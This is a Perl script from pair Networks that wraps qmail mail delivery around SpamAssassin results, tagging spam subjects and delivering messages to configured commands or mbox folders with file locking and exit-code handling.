#!/usr/local/bin/perl
# $Id: sa_client.pl,v 1.46 2013/02/12 19:59:22 alan Exp $
#
# Copyright (c) 2002-2013 pair Networks

require 5.6.0; # for "use bytes"

use strict;
use Digest::MD5 qw/md5_hex/;
use Getopt::Long;
use IO::Socket;
use Pod::Usage;
use Sys::Hostname;
use Fcntl ':flock'; # Flocking for folder_message

=head1 NAME

sa_client.pl - an interface to spamd, the SpamAssassin daemon component

=head1 SYNOPSIS

sa_client.pl [options]

Options:

  --pipe, -pi              path to a UNIX socket pipe file (no default)
  --host, -ho              hostname for INET socket connections (defaults to
                           localhost)
  --port, -po              port for INET socket connections (defaults to 783)
  --report_header, -rh     add spam report to the header instead of the body
                           (defaults to off)
  --rewrite_subject, -rs   a tag to add to the subject of suspected spam 
                           (if no argument given, **JUNK** is the default)
  --max_size, -ms          maximum size (in bytes) of data to send to spamd
                           (defaults to 204800)
  --max_lines, -ml         maximum number of lines to send to spamd (defaults
                           to 200)
  --command1, -c1          delivery command if mail is not flagged as spam
  --command2, -c2          delivery command if mail _is_ flagged as spam
  --error_code, -ec        exit code to use if delivery fails (defaults to 111)
  --success_code, -sc      exit code to use after successful delivery (defaults
                           to 0)
  --alt_success_code, -ac  alternate exit code to use if the delivery is
                           successful, but the mail was flagged as spam 
                           (defaults to 0)
  --delivery_okay, -do     a comma separated (i.e. 5,10,15) list of exit
                           codes other than 0 the delivery program may exit 
                           with and still be successful (defaults to 5)
  --pass_thru, -pt         a comma separated list of exit codes that 
                           sa_client.pl should pass through to the MTA
                           (defaults to 99,100,111)
  --log, -l                keep a delivery log in specified location 
  --help, -h               print this message

At least one valid command must be given, with its full path, to ensure mail 
delivery.  If only one command is given, it is used regardless of the
findings of spamd.  The delivery command will be given the mail message on 
STDIN.  If the command is missing or invalid, the program exists with the
specified error code. 

If both a pipe and a host/port are specified, only the pipe will be used.

=cut

# Forward Declarations
sub dieout;


# Constants
my $LOCK_TIMEOUT = 30;   # How long to wait for a folder lock

# Set Defaults
my %OPT = (
    host             => 'localhost',
    port             => 783,
    max_size         => 204800,
    max_lines        => 200,
    max_line_chars   => 300,
    error_code       => 111,
    delivery_okay    => '5',
    pass_thru        => '99,100,111',
    success_code     => 0,
    alt_success_code => 0
);

# Get command-line options 
GetOptions(\%OPT, "rewrite_subject|rs:s", "report_header|rh",
           "max_size|ms=i", "max_lines|ml=i", "error_code|ec=i",
           "success_code|sc=i", "pipe|pi=s", "host|ho=s", "port|po=i",
           "log|l=s", "help|h", 'command1|c1=s@', 'command2|c2=s@',
           "alt_success_code|ac=i", "pass_thru|pt=s",
           "delivery_okay|do=s") or exit($OPT{error_code});

use constant hex_of_host => md5_hex(hostname());

# More Defaults
exists $OPT{rewrite_subject} and $OPT{rewrite_subject} ||= "**JUNK**";

# Split out the delivery codes and pass codes
for (qw(delivery_okay pass_thru)) {
    $OPT{$_} = [split /\s*,\s*/, $OPT{$_}];
}

# We want to defer on these signals
$SIG{$_} = sub { exit $OPT{error_code} } for qw(__DIE__ INT KILL TERM);

# If help requested, stop here
pod2usage($OPT{error_code}) if $OPT{help};

# Check delivery options (requires full paths)
foreach my $command (@{$OPT{command1}}, @{$OPT{command2}}) {
    if (my $folder = $command =~ /^>(.*)/) {
	check_folder($folder);
    } else {
	if (!-x (split(/\s+/, $command))[0]) { 
	    dieout("delivery command [$command] not executable");
	}
    }
}

# Open log
if ($OPT{log}) {
    open(LOG,">>$OPT{log}") if (-f $OPT{log} || !-e _)
      or print STDERR "couldn't open log";
    print LOG "Starting (",scalar localtime,")\n";
}

# Read message on <STDIN>
my $MSG = read_message();

# Write to appropriate delivery command, adding headers.
# - Assume unfiltered messages are ham; most likely this is via SMTPAUTH
# - Only deliver as spam if we have a spam delivery command 
my $delivery = (!$MSG->{is_spam} || !@{$OPT{command2}}) ? $OPT{command1} : $OPT{command2};
deliver_message($MSG, $delivery);

# We should never get here: deliver_message exits with the appropriate
# code.
exit $OPT{error_code};

sub read_message {
    my ($msg,$subswitch);

    # capture the headers
    while (<STDIN>) { 
        # Look for end of headers.
        # Allow envelope "From" as a valid header.  A customer FILTER
        # to sa_client calls preline, and we need to preserve the
        # envelope headers it creates.

        #18522: RFC2822 says ascii printable characters 33 through 126
        # (decimal) except colon, are all valid header field name
        # characters.
        unless (/^[\041-\071\073-\176]+:/ or /^\s+[^\s]/ or /^From /) {
	    #   new header                   cont. header   Envelope From

	    # we have the first line of the body 
	    push(@{$msg->{'body'}},$_); 
	    
	    # we're done with this loop
	    last;
        }

        # look for subject
        /^Subject:/i and $subswitch++;

	# store previous spamicity
	if (/^X-Spam-Status: Yes/) {
	    $msg->{is_spam} = 1;
	}

        # push header on to array
        push(@{$msg->{header}}, $_);
    }
    
    # add a blank Subject if none given 
    push(@{$msg->{header}},"Subject: (no subject)\n") unless $subswitch;

    # leave the rest of the body in STDIN for now

    return $msg;
}

# deliver_message
#
# Given a list of delivery commands, deliver the message to all of the
# commands.
#
# If any command has a non-zero exit code, we stop delivery and let
# qmail take the appropriate action based on that error code.

sub deliver_message {
    my ($msg, $commands) = @_;

    foreach my $command (@$commands) {
	my $return;
	if (my ($folder) = $command =~ /^>(.*)/) {
	    $return = folder_message($msg, $folder);
	} else {
	    $return = single_delivery($msg, $command);
	}
	if ($return) {
	    print LOG "- returning with $return at ", scalar localtime, 
	              "after delivery: '$command'\n";
	    exit $return;
	}
    }

    # We did all deliveries successfully.  Return the appropriate error code.
    my $code = $msg->{is_spam} ? $OPT{alt_success_code} : $OPT{success_code};
    print LOG "- exiting with code $code after successful deliveries at ", 
              scalar localtime, "\n";
    
    exit $code;
}

# build_message
#
# Given a message, alter the message to make it deliverable: rewrite
# spam headers, etc.
#
# The complete message will be stored as an arrayref in the 'complete'
# key of $msg, and the keys used to construct the message will be
# deleted.  Returns immediately if $msg{complete}.

sub build_message {
    my ($msg) = @_;

    $msg->{complete} and return;
    
    # Add old headers
    for (@{$msg->{header}}) {

	# Add the subject tag, if wanted.
        # In most cases this will already be done before we get the message.
	if (my ($subject) = /^Subject:\s*(.*)$/i and 
	    $msg->{is_spam} and
	    $OPT{rewrite_subject}) {
	    
	    if ($subject !~ /\Q$OPT{rewrite_subject}\E/) {
		$_ = "Subject: $OPT{rewrite_subject} $subject\n"; 
	    }
	}
	
	push @{$msg->{complete}}, $_;
    }
    delete $msg->{headers};

    # add new headers and body report, if needed
    push @{$msg->{complete}}, map {"$_\n"} @{$msg->{spam_headers}} if $msg->{spam_headers};
    push @{$msg->{complete}}, ("\n", $msg->{spam_body}, "\n") 
        if $msg->{spam_body} && !$OPT{report_header} && $msg->{is_spam}; 

    delete $msg->{spam_headers};
    
    # a blank line, only if we need it
    push @{$msg->{complete}}, "\n" if $msg->{body}->[0] !~ /^\s*$/;
    
    # add the rest of the stored message unaltered
    push @{$msg->{complete}}, @{$msg->{body}};

    delete $msg->{body};

    # ...and anything we haven't read of STDIN yet to finish
    push @{$msg->{complete}}, <STDIN>;

}

# single_delivery 
#
# Delivers the message to a single (non-folder) delivery command.

sub single_delivery {
    my ($msg, $command) = @_;
    print LOG "- delivering $command\n";

    # open pipe to delivery command
    open my $CMD, "|$command" or dieout "couldn't open delivery cmd\n";

    build_message($msg);

    print $CMD $_ for @{$msg->{complete}};
    
    # we should end with a blank line
    print $CMD "\n";

    my $pass_thru = 0;
    unless (close($CMD)) { 
        $! and dieout("error closing delivery pipe");
        my $error = $? >> 8;

        # check for codes we should pass through 
        if (grep {$error == $_} @{$OPT{pass_thru}}) {
            $pass_thru = $error;

        # If the error is not an alternate success code, then use our
        # default error result code (via dieout)
        } elsif (!grep {$error == $_} @{$OPT{delivery_okay}}) {
            dieout("error from delivery command [$error]"); 
        }
    }

    return $pass_thru + 0;
}


# check_folder
#
# Verify a folder it correct

sub check_folder {
    my $folder = shift;
    -d $folder and dieout "folder command [>$folder] points to a directory";
    # Otherwise assume it's a valid path, and count on the fact that
    # we're running as the user to protect us.
}

# folder_message
#
# Write a message out to an mbox mail folder.
# This function was extracted from folder_mail.pl r1.8

sub folder_message {
    my ($msg, $folder) = @_;
    
    # open the folder file
    open(my $FOLDER, ">>$folder") or return 1;

    print LOG "- foldering to $folder\n";

    # get an exclusive lock
    eval {
	local $SIG{ALRM} = sub { die("no_lock\n") };
	alarm($LOCK_TIMEOUT);
	flock($FOLDER, LOCK_EX);
    };
    alarm(0);
    $@ =~ /no_lock/ and return 2; # failed to get lock
    if ($@) {
	print LOG "- FOLDER error: $@\n";
	return 3;              # some other error occurred
    }

    # make sure nobody appended while we were waiting
    seek($FOLDER, 0, 2);

    build_message($msg);
    
    # add envelope From header
    print $FOLDER "From $ENV{SENDER} ", scalar localtime, "\n";

    # add file
    foreach my $line (@{$msg->{complete}}) { 
	s/^From />From /; 
	print $FOLDER $line;
    }

    # Closing blank line
    print $FOLDER "\n";

    # close file
    close $FOLDER;

    # we're done, return successful result code
    return 0;
}

sub dieout {
    chomp(my $msg = shift);
    print LOG "- ! $msg\n"; 
    print STDERR "$msg\n"; 
    exit $OPT{error_code};
}